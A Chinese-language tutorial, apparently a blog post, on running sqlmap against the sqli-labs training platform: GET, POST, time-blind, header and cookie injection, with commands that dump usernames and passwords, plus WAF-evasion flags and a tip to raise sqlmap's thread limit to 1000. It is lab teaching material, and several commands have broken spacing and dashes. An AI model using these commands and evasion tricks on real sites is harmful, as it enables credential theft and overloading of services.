一、基于错误的GET型注入
如果确定该url下存在注入,直接把url扔到sqlmap
1 先探测当前数据库版本
语句:
sqlmap -u http://192.168.0.114:5555/Less-1/?id=1--current-db
2 知道数据库名,探测表名
语句:
sqlmap -u http://192.168.0.114:5555/Less-1/?id=1-D"security" --tables -v3
--tables 列出当前数据库下的所有表名
-v3 显示注入的payload
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:显示有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
3 探测列名
语句:
sqlmap -u http://192.168.0.114:5555/Less-1/?id=1-D"security" -T"users" --columns -v3
--columns 列出当前表下的所有字段
4 最后dunp用户名密码
语句:
sqlmap -uhttp://192.168.0.114:5555/Less-1/?id=1 -D"security"-T"users" -C"username,password" --dump -v3
二、基于错误的POST型注入
Post型注入,个人最喜欢的方式就是,burp抓包,然后sqlmap直接跑包。
打开sql_labs演练平台,选择第十一关,登录账户密码我们不知道,所随便输入一个
把数据包内容复制到一个post.txt
放在root目录下
Sqlmap语句:
sqlmap -r"/root/post.txt" -p"uname"--dbms mysql –dbs
这条语句是直接列出所有数据库
-r 指定post数据包的路径
-p 指定进行测试注入点的参数,这里指定 uname
我们还可以指定注测试的等级(1-5,默认为1),用—level (1-5)
sqlmap -r"/root/post.txt" -p"uname"--dbms mysql –dbs –level 3
这个参数不仅影响使用哪些payload,同时也会影响测试的注入点,
不管level设置多少,GET和POST的数据都会测试,
level 2,会测试HTTP Cookie
level 3,就会测试HTTPUser-Agent/Referer头
总之在不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
我们目前要的是当前数据库名,所以sqlmap语句如下
sqlmap -r"/root/post.txt" -p"uname"--dbms mysql –current-db
剩下的语句可以参照上面基于get型错误注入的语句。这里就不再重复
三、基于时间的盲注(GET)
这里以sql_libs第九关为例
下图是sqlmap语句探测的结果
Sqlmap –u” http://192.168.0.114:5555/Less-9/?id=1”–dbms mysql
Sqlmap探测出来的是存在布尔型注入和时间注入
我们这里以时间盲注来说
Sqlmap –u” http://192.168.0.114:5555/Less-9/?id=1”–dbms mysql –current-db
先探测出数据库名
Secutity
这个不再详解,上面已经有详细说明
既然是时间盲注,我们构造sqlmap语句
Sqlmap语句
sqlmap -u"http://192.168.0.114:5555/Less-9/?id=1"--dbms mysql -D"security" --tables --time-sec 10 -v3
--time-sec 10 设置延时时间位10秒
下面是sqlmap的payload
Sqlmap默认线程是10
可以进去配置文件设置,但是要主要,别设置太高了,容易把扫挂
【修改方法】
找到settings.py文件,具体在\lib\core\目录下
找到
# Maximum number of threads (avoidingconnection issues and/or DoS)
MAX_NUMBER_OF_THREADS = 10
【将↓】
MAX_NUMBER_OF_THREADS = 10
修改为MAX_NUMBER_OF_THREADS= 1000
这个数字可以任意设置,具体根据目标站的情况来比较好。
四、基于user-agent/referer头的注入
这里以sql_labs第十八关为例
保存名字位uagent.txt,放在root下面
Sqlmap语句
sqlmap -r"/root/uagent.txt" -p"user-agent"--dbms mysql --risk 3 -v 3
--level 3 测试等级为3,sqlmap才会去测试user-agent是否存在注入
这个测试遇到很多问题,一个sqlmap跑得慢,一个是一直找不到注入点
网上也有写说sqlmap没办法注入insert这类的语句。
后面在一遍文章看到了,在要注入的地方加个*试试,结果成功了。我这里是直接在uagent.txt里面的user-agent的值后面加了个*号,如下图
(注:这种方式是不是正确的不敢确定,如果有不对欢迎大佬指出,但是我这里测试的时候,是可以跑到最后得出用户名和密码的)
五、cookie注入
Burp抓包,扔进sqlmap
语句
sqlmap -r"/root/cookie.txt" --cookie --dbms mysql--level 2 -v 3
记录下几个有用的参数
1
HTTP User-Agent头
参数:--user-agent,--random-agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用--user-agent参数来修改,同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。
例:
sqlmap -u "url" --random-agent -v2
#使用任意浏览器进行绕过,尤其是在WAF配置不当的时候
2
sqlmap -u "url" --hpp -v 3
#使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS平台上
3
sqlmap -u "url" --delay=3.5--time-sec=60
#使用长的延时来避免触发WAF的机制,这方式比较耗时
4
sqlmap -u "url" --thread 10--identify-waf#首选
sqlmap -u "" --thread 10 --check-waf#备选
#进行检测是否有WAF/IPS/IDS
5
遇到伪静态,直接在参数后面加上*,其他的都一样
Sqlmap –u http://xxxx/xxx/xx/a*.html–dbms mysql
6
参数:--second-order
有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。--second-order后门跟一个判断页面的URL地址。
7
参数:--mobile
模仿智能手机
有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。
还有很多好用的参数,网络上也很多资料。
有听一个大佬说过,想学sql注入,有能力的话可以读下sqlmap源码,会有更进一步的理解。